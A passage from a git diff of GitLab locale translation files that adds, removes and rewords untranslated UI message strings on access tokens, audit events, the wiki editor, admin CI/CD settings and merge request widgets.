@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/eo/gitlab.po b/locale/eo/gitlab.po
index 388e82744fa..94779f8e08c 100644
--- a/locale/eo/gitlab.po
+++ b/locale/eo/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: eo\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:25\n"
+"PO-Revision-Date: 2021-07-01 21:07\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
